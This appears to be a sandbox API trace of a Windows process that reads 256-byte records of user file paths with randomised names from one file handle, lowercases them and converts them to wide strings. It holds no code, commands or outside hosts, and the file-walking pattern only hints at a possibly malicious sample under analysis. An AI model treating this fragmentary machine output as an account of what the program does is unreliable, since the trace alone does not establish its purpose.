[0079.350] ReadFile (in: hFile=0x9c, lpBuffer=0x1274e0, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x123284, lpOverlapped=0x0 | out: lpBuffer=0x1274e0*, lpNumberOfBytesRead=0x123284*=0x100, lpOverlapped=0x0) returned 1
[0079.350] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/Documents/vAkUFlQ4t/6%20%20LD0epzN54nf6f62.pdf" | out: _Str="file:///c:/users/atveydl98z/documents/vakuflq4t/6%20%20ld0epzn54nf6f62.pdf") returned="file:///c:/users/atveydl98z/documents/vakuflq4t/6%20%20ld0epzn54nf6f62.pdf"
[0079.350] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x12755c, cbMultiByte=-1, lpWideCharStr=0x1232e0, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/documents/vakuflq4t/6%20%20ld0epzn54nf6f62.pdf") returned 75
[0079.350] SetFilePointer (in: hFile=0x9c, lDistanceToMove=31232, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7a00
[0079.350] ReadFile (in: hFile=0x9c, lpBuffer=0x1274e0, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x123288, lpOverlapped=0x0 | out: lpBuffer=0x1274e0*, lpNumberOfBytesRead=0x123288*=0x8, lpOverlapped=0x0) returned 1
[0079.350] _memicmp (_Buf1=0x1274e0, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.350] SetFilePointer (in: hFile=0x9c, lDistanceToMove=31232, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7a00
[0079.351] ReadFile (in: hFile=0x9c, lpBuffer=0x1274e0, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x123284, lpOverlapped=0x0 | out: lpBuffer=0x1274e0*, lpNumberOfBytesRead=0x123284*=0x100, lpOverlapped=0x0) returned 1
[0079.351] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/Desktop/Vfr7MWb/pO5DZd.png" | out: _Str="file:///c:/users/atveydl98z/desktop/vfr7mwb/po5dzd.png") returned="file:///c:/users/atveydl98z/desktop/vfr7mwb/po5dzd.png"
[0079.351] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x12755c, cbMultiByte=-1, lpWideCharStr=0x1232e0, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/desktop/vfr7mwb/po5dzd.png") returned 55
[0079.351] SetFilePointer (in: hFile=0x9c, lDistanceToMove=31488, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7b00
[0079.351] ReadFile (in: hFile=0x9c, lpBuffer=0x1274e0, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x123288, lpOverlapped=0x0 | out: lpBuffer=0x1274e0*, lpNumberOfBytesRead=0x123288*=0x8, lpOverlapped=0x0) returned 1
[0079.351] _memicmp (_Buf1=0x1274e0, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.351] SetFilePointer (in: hFile=0x9c, lDistanceToMove=31488, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7b00
[0079.351] ReadFile (in: hFile=0x9c, lpBuffer=0x1274e0, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x123284, lpOverlapped=0x0 | out: lpBuffer=0x1274e0*, lpNumberOfBytesRead=0x123284*=0x100, lpOverlapped=0x0) returned 1
[0079.351] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/Desktop/N85Nf82ijUqriWIbUbVC/gfs_u1.bmp" | out: _Str="file:///c:/users/atveydl98z/desktop/n85nf82ijuqriwibubvc/gfs_u1.bmp") returned="file:///c:/users/atveydl98z/desktop/n85nf82ijuqriwibubvc/gfs_u1.bmp"
[0079.351] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x12755c, cbMultiByte=-1, lpWideCharStr=0x1232e0, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/desktop/n85nf82ijuqriwibubvc/gfs_u1.bmp") returned 68
[0079.351] SetFilePointer (in: hFile=0x9c, lDistanceToMove=31744, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7c00
[0079.351] ReadFile (in: hFile=0x9c, lpBuffer=0x1274e0, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x123288, lpOverlapped=0x0 | out: lpBuffer=0x1274e0*, lpNumberOfBytesRead=0x123288*=0x8, lpOverlapped=0x0) returned 1
[0079.351] _memicmp (_Buf1=0x1274e0, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.352] SetFilePointer (in: hFile=0x9c, lDistanceToMove=31744, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7c00
[0079.352] ReadFile (in: hFile=0x9c, lpBuffer=0x1274e0, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x123284, lpOverlapped=0x0 | out: lpBuffer=0x1274e0*, lpNumberOfBytesRead=0x123284*=0x100, lpOverlapped=0x0) returned 1
[0079.352] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/AppData/Roaming/QfFJmW5qB0hkK.odp" | out: _Str="file:///c:/users/atveydl98z/appdata/roaming/qffjmw5qb0hkk.odp") returned="file:///c:/users/atveydl98z/appdata/roaming/qffjmw5qb0hkk.odp"
[0079.352] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x12755c, cbMultiByte=-1, lpWideCharStr=0x1232e0, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/appdata/roaming/qffjmw5qb0hkk.odp") returned 62
[0079.352] SetFilePointer (in: hFile=0x9c, lDistanceToMove=32000, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7d00
[0079.352] ReadFile (in: hFile=0x9c, lpBuffer=0x1274e0, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x123288, lpOverlapped=0x0 | out: lpBuffer=0x1274e0*, lpNumberOfBytesRead=0x123288*=0x8, lpOverlapped=0x0) returned 1
[0079.352] _memicmp (_Buf1=0x1274e0, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.352] SetFilePointer (in: hFile=0x9c, lDistanceToMove=32000, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7d00
[0079.352] ReadFile (in: hFile=0x9c, lpBuffer=0x1274e0, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x123284, lpOverlapped=0x0 | out: lpBuffer=0x1274e0*, lpNumberOfBytesRead=0x123284*=0x100, lpOverlapped=0x0) returned 1
[0079.352] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/Pictures/EqeAgIu6SFYwA.gif" | out: _Str="file:///c:/users/atveydl98z/pictures/eqeagiu6sfywa.gif") returned="file:///c:/users/atveydl98z/pictures/eqeagiu6sfywa.gif"
[0079.352] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x12755c, cbMultiByte=-1, lpWideCharStr=0x1232e0, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/pictures/eqeagiu6sfywa.gif") returned 55
[0079.352] SetFilePointer (in: hFile=0x9c, lDistanceToMove=32256, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7e00
[0079.352] ReadFile (in: hFile=0x9c, lpBuffer=0x1274e0, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x123288, lpOverlapped=0x0 | out: lpBuffer=0x1274e0*, lpNumberOfBytesRead=0x123288*=0x8, lpOverlapped=0x0) returned 1
[0079.352] _memicmp (_Buf1=0x1274e0, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.352] SetFilePointer (in: hFile=0x9c, lDistanceToMove=32256, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7e00
[0079.352] ReadFile (in: hFile=0x9c, lpBuffer=0x1274e0, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x123284, lpOverlapped=0x0 | out: lpBuffer=0x1274e0*, lpNumberOfBytesRead=0x123284*=0x100, lpOverlapped=0x0) returned 1
[0079.353] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/Desktop/numNzHOF36r.png" | out: _Str="file:///c:/users/atveydl98z/desktop/numnzhof36r.png") returned="file:///c:/users/atveydl98z/desktop/numnzhof36r.png"
[0079.353] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x12755c, cbMultiByte=-1, lpWideCharStr=0x1232e0, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/desktop/numnzhof36r.png") returned 52
[0079.353] SetFilePointer (in: hFile=0x9c, lDistanceToMove=32512, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7f00
[0079.353] ReadFile (in: hFile=0x9c, lpBuffer=0x1274e0, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x123288, lpOverlapped=0x0 | out: lpBuffer=0x1274e0*, lpNumberOfBytesRead=0x123288*=0x8, lpOverlapped=0x0) returned 1
[0079.353] _memicmp (_Buf1=0x1274e0, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.353] SetFilePointer (in: hFile=0x9c, lDistanceToMove=32512, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7f00
[0079.353] ReadFile (in: hFile=0x9c, lpBuffer=0x1274e0, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x123284, lpOverlapped=0x0 | out: lpBuffer=0x1274e0*, lpNumberOfBytesRead=0x123284*=0x100, lpOverlapped=0x0) returned 1
[0079.353] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/Pictures/8mDa7EUxWIFuAV/O0JasU4FW456EsF.gif" | out: _Str="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/o0jasu4fw456esf.gif") returned="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/o0jasu4fw456esf.gif"
[0079.353] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x12755c, cbMultiByte=-1, lpWideCharStr=0x1232e0, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/o0jasu4fw456esf.gif") returned 72
[0079.353] SetFilePointer (in: hFile=0x9c, lDistanceToMove=32768, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x8000
[0079.353] ReadFile (in: hFile=0x9c, lpBuffer=0x1274e0, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x123288, lpOverlapped=0x0 | out: lpBuffer=0x1274e0*, lpNumberOfBytesRead=0x123288*=0x8, lpOverlapped=0x0) returned 1
[0079.353] _memicmp (_Buf1=0x1274e0, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.353] SetFilePointer (in: hFile=0x9c, lDistanceToMove=32768, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x8000
[0079.353] ReadFile (in: hFile=0x9c, lpBuffer=0x1274e0, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x123284, lpOverlapped=0x0 | out: lpBuffer=0x1274e0*, lpNumberOfBytesRead=0x123284*=0x100, lpOverlapped=0x0) returned 1
[0079.354] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/Videos/aUcHwAavvK9r/Mpvc3Rk.swf" | out: _Str="file:///c:/users/atveydl98z/videos/auchwaavvk9r/mpvc3rk.swf") returned="file:///c:/users/atveydl98z/videos/auchwaavvk9r/mpvc3rk.swf"
[0079.354] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x12755c, cbMultiByte=-1, lpWideCharStr=0x1232e0, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/videos/auchwaavvk9r/mpvc3rk.swf") returned 60
[0079.354] SetFilePointer (in: hFile=0x9c, lDistanceToMove=33024, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x8100
[0079.354] ReadFile (in: hFile=0x9c, lpBuffer=0x1274e0, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x123288, lpOverlapped=0x0 | out: lpBuffer=0x1274e0*, lpNumberOfBytesRead=0x123288*=0x8, lpOverlapped=0x0) returned 1
[0079.354] _memicmp (_Buf1=0x1274e0, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.354] SetFilePointer (in: hFile=0x9c, lDistanceToMove=33024, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x8100
[0079.354] ReadFile (in: hFile=0x9c, lpBuffer=0x1274e0, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x123284, lpOverlapped=0x0 | out: lpBuffer=0x1274e0*, lpNumberOfBytesRead=0x123284*=0x100, lpOverlapped=0x0) returned 1
[0079.354] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/Desktop/N85Nf82ijUqriWIbUbVC/DxOeo.jpg" | out: _Str="file:///c:/users/atveydl98z/desktop/n85nf82ijuqriwibubvc/dxoeo.jpg") returned="file:///c:/users/atveydl98z/desktop/n85nf82ijuqriwibubvc/dxoeo.jpg"
[0079.354] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x12755c, cbMultiByte=-1, lpWideCharStr=0x1232e0, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/desktop/n85nf82ijuqriwibubvc/dxoeo.jpg") returned 67
[0079.355] SetFilePointer (in: hFile=0x9c, lDistanceToMove=33280, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x8200
[0079.355] ReadFile (in: hFile=0x9c, lpBuffer=0x1274e0, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x123288, lpOverlapped=0x0 | out: lpBuffer=0x1274e0*, lpNumberOfBytesRead=0x123288*=0x8, lpOverlapped=0x0) returned 1
[0079.355] _memicmp (_Buf1=0x1274e0, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.355] SetFilePointer (in: hFile=0x9c, lDistanceToMove=33280, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x8200
[0079.355] ReadFile (in: hFile=0x9c, lpBuffer=0x1274e0, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x123284, lpOverlapped=0x0 | out: lpBuffer=0x1274e0*, lpNumberOfBytesRead=0x123284*=0x100, lpOverlapped=0x0) returned 1
[0079.355] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/Documents/vAkUFlQ4t/j0tfQ.pptx" | out: _Str="file:///c:/users/atveydl98z/documents/vakuflq4t/j0tfq.pptx") returned="file:///c:/users/atveydl98z/documents/vakuflq4t/j0tfq.pptx"
[0079.355] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x12755c, cbMultiByte=-1, lpWideCharStr=0x1232e0, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/documents/vakuflq4t/j0tfq.pptx") returned 59
[0079.355] SetFilePointer (in: hFile=0x9c, lDistanceToMove=33536, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x8300
[0079.355] ReadFile (in: hFile=0x9c, lpBuffer=0x1274e0, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x123288, lpOverlapped=0x0 | out: lpBuffer=0x1274e0*, lpNumberOfBytesRead=0x123288*=0x8, lpOverlapped=0x0) returned 1
[0079.355] _memicmp (_Buf1=0x1274e0, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.355] SetFilePointer (in: hFile=0x9c, lDistanceToMove=33536, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x8300
[0079.355] ReadFile (in: hFile=0x9c, lpBuffer=0x1274e0, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x123284, lpOverlapped=0x0 | out: lpBuffer=0x1274e0*, lpNumberOfBytesRead=0x123284*=0x100, lpOverlapped=0x0) returned 1
[0079.356] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/Pictures/gFQDbS7SKI.jpg" | out: _Str="file:///c:/users/atveydl98z/pictures/gfqdbs7ski.jpg") returned="file:///c:/users/atveydl98z/pictures/gfqdbs7ski.jpg"
[0079.356] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x12755c, cbMultiByte=-1, lpWideCharStr=0x1232e0, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/pictures/gfqdbs7ski.jpg") returned 52
[0079.356] SetFilePointer (in: hFile=0x9c, lDistanceToMove=33792, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x8400
[0079.356] ReadFile (in: hFile=0x9c, lpBuffer=0x1274e0, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x123288, lpOverlapped=0x0 | out: lpBuffer=0x1274e0*, lpNumberOfBytesRead=0x123288*=0x8, lpOverlapped=0x0) returned 1
[0079.356] _memicmp (_Buf1=0x1274e0, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.356] SetFilePointer (in: hFile=0x9c, lDistanceToMove=33792, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x8400
[0079.356] ReadFile (in: hFile=0x9c, lpBuffer=0x1274e0, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x123284, lpOverlapped=0x0 | out: lpBuffer=0x1274e0*, lpNumberOfBytesRead=0x123284*=0x100, lpOverlapped=0x0) returned 1
[0079.356] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/Documents/tGhk.docx" | out: _Str="file:///c:/users/atveydl98z/documents/tghk.docx") returned="file:///c:/users/atveydl98z/documents/tghk.docx"
[0079.356] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x12755c, cbMultiByte=-1, lpWideCharStr=0x1232e0, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/documents/tghk.docx") returned 48
[0079.356] SetFilePointer (in: hFile=0x9c, lDistanceToMove=34048, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x8500
[0079.356] ReadFile (in: hFile=0x9c, lpBuffer=0x1274e0, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x123288, lpOverlapped=0x0 | out: lpBuffer=0x1274e0*, lpNumberOfBytesRead=0x123288*=0x8, lpOverlapped=0x0) returned 1
[0079.356] _memicmp (_Buf1=0x1274e0, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.356] SetFilePointer (in: hFile=0x9c, lDistanceToMove=34048, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x8500
[0079.356] ReadFile (in: hFile=0x9c, lpBuffer=0x1274e0, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x123284, lpOverlapped=0x0 | out: lpBuffer=0x1274e0*, lpNumberOfBytesRead=0x123284*=0x100, lpOverlapped=0x0) returned 1
[0079.357] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/Pictures/8mDa7EUxWIFuAV/_ZrIQiqZdCdzwkR/UZGUWO.png" | out: _Str="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/uzguwo.png") returned="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/uzguwo.png"
[0079.357] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x12755c, cbMultiByte=-1, lpWideCharStr=0x1232e0, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/uzguwo.png") returned 79
[0079.357] SetFilePointer (in: hFile=0x9c, lDistanceToMove=34304, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x8600
[0079.357] ReadFile (in: hFile=0x9c, lpBuffer=0x1274e0, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x123288, lpOverlapped=0x0 | out: lpBuffer=0x1274e0*, lpNumberOfBytesRead=0x123288*=0x8, lpOverlapped=0x0) returned 1
[0079.357] _memicmp (_Buf1=0x1274e0, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.357] SetFilePointer (in: hFile=0x9c, lDistanceToMove=34304, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x8600
[0079.357] ReadFile (in: hFile=0x9c, lpBuffer=0x1274e0, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x123284, lpOverlapped=0x0 | out: lpBuffer=0x1274e0*, lpNumberOfBytesRead=0x123284*=0x100, lpOverlapped=0x0) returned 1
[0079.357] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/Pictures/8mDa7EUxWIFuAV/_ZrIQiqZdCdzwkR/hgXqnnq3MlEaKOLmSO.jpg" | out: _Str="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/hgxqnnq3mleakolmso.jpg") returned="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/hgxqnnq3mleakolmso.jpg"
[0079.357] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x12755c, cbMultiByte=-1, lpWideCharStr=0x1232e0, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/hgxqnnq3mleakolmso.jpg") returned 91
[0079.357] SetFilePointer (in: hFile=0x9c, lDistanceToMove=34560, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x8700
[0079.357] ReadFile (in: hFile=0x9c, lpBuffer=0x1274e0, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x123288, lpOverlapped=0x0 | out: lpBuffer=0x1274e0*, lpNumberOfBytesRead=0x123288*=0x8, lpOverlapped=0x0) returned 1
[0079.357] _memicmp (_Buf1=0x1274e0, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.358] SetFilePointer (in: hFile=0x9c, lDistanceToMove=34560, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x8700
[0079.358] ReadFile (in: hFile=0x9c, lpBuffer=0x1274e0, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x123284, lpOverlapped=0x0 | out: lpBuffer=0x1274e0*, lpNumberOfBytesRead=0x123284*=0x100, lpOverlapped=0x0) returned 1
[0079.358] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/Documents/g7IhxxpWMUl67yNXWjuy.odp" | out: _Str="file:///c:/users/atveydl98z/documents/g7ihxxpwmul67ynxwjuy.odp") returned="file:///c:/users/atveydl98z/documents/g7ihxxpwmul67ynxwjuy.odp"
[0079.358] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x12755c, cbMultiByte=-1, lpWideCharStr=0x1232e0, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/documents/g7ihxxpwmul67ynxwjuy.odp") returned 63
[0079.358] SetFilePointer (in: hFile=0x9c, lDistanceToMove=34816, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x8800
[0079.358] ReadFile (in: hFile=0x9c, lpBuffer=0x1274e0, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x123288, lpOverlapped=0x0 | out: lpBuffer=0x1274e0*, lpNumberOfBytesRead=0x123288*=0x8, lpOverlapped=0x0) returned 1
[0079.358] _memicmp (_Buf1=0x1274e0, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.358] SetFilePointer (in: hFile=0x9c, lDistanceToMove=34816, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x8800
[0079.358] ReadFile (in: hFile=0x9c, lpBuffer=0x1274e0, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x123284, lpOverlapped=0x0 | out: lpBuffer=0x1274e0*, lpNumberOfBytesRead=0x123284*=0x100, lpOverlapped=0x0) returned 1
[0079.358] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/Desktop/Ihug/t1QoeTZ4EKZwcx.pps" | out: _Str="file:///c:/users/atveydl98z/desktop/ihug/t1qoetz4ekzwcx.pps") returned="file:///c:/users/atveydl98z/desktop/ihug/t1qoetz4ekzwcx.pps"
[0079.358] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x12755c, cbMultiByte=-1, lpWideCharStr=0x1232e0, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/desktop/ihug/t1qoetz4ekzwcx.pps") returned 60
[0079.358] SetFilePointer (in: hFile=0x9c, lDistanceToMove=35072, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x8900
[0079.358] ReadFile (in: hFile=0x9c, lpBuffer=0x1274e0, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x123288, lpOverlapped=0x0 | out: lpBuffer=0x1274e0*, lpNumberOfBytesRead=0x123288*=0x8, lpOverlapped=0x0) returned 1
[0079.358] _memicmp (_Buf1=0x1274e0, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.358] SetFilePointer (in: hFile=0x9c, lDistanceToMove=35072, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x8900
[0079.359] ReadFile (in: hFile=0x9c, lpBuffer=0x1274e0, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x123284, lpOverlapped=0x0 | out: lpBuffer=0x1274e0*, lpNumberOfBytesRead=0x123284*=0x100, lpOverlapped=0x0) returned 1
[0079.359] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/Videos/aUcHwAavvK9r/-hs5Z7.mkv" | out: _Str="file:///c:/users/atveydl98z/videos/auchwaavvk9r/-hs5z7.mkv") returned="file:///c:/users/atveydl98z/videos/auchwaavvk9r/-hs5z7.mkv"
[0079.359] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x12755c, cbMultiByte=-1, lpWideCharStr=0x1232e0, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/videos/auchwaavvk9r/-hs5z7.mkv") returned 59
[0079.359] SetFilePointer (in: hFile=0x9c, lDistanceToMove=35328, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x8a00
[0079.359] ReadFile (in: hFile=0x9c, lpBuffer=0x1274e0, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x123288, lpOverlapped=0x0 | out: lpBuffer=0x1274e0*, lpNumberOfBytesRead=0x123288*=0x8, lpOverlapped=0x0) returned 1
[0079.359] _memicmp (_Buf1=0x1274e0, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.359] SetFilePointer (in: hFile=0x9c, lDistanceToMove=35328, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x8a00
[0079.359] ReadFile (in: hFile=0x9c, lpBuffer=0x1274e0, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x123284, lpOverlapped=0x0 | out: lpBuffer=0x1274e0*, lpNumberOfBytesRead=0x123284*=0x100, lpOverlapped=0x0) returned 1
[0079.359] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/Pictures/8mDa7EUxWIFuAV/jfCi.jpg" | out: _Str="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/jfci.jpg") returned="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/jfci.jpg"
[0079.359] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x12755c, cbMultiByte=-1, lpWideCharStr=0x1232e0, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/jfci.jpg") returned 61
[0079.359] SetFilePointer (in: hFile=0x9c, lDistanceToMove=35584, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x8b00
[0079.359] ReadFile (in: hFile=0x9c, lpBuffer=0x1274e0, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x123288, lpOverlapped=0x0 | out: lpBuffer=0x1274e0*, lpNumberOfBytesRead=0x123288*=0x8, lpOverlapped=0x0) returned 1
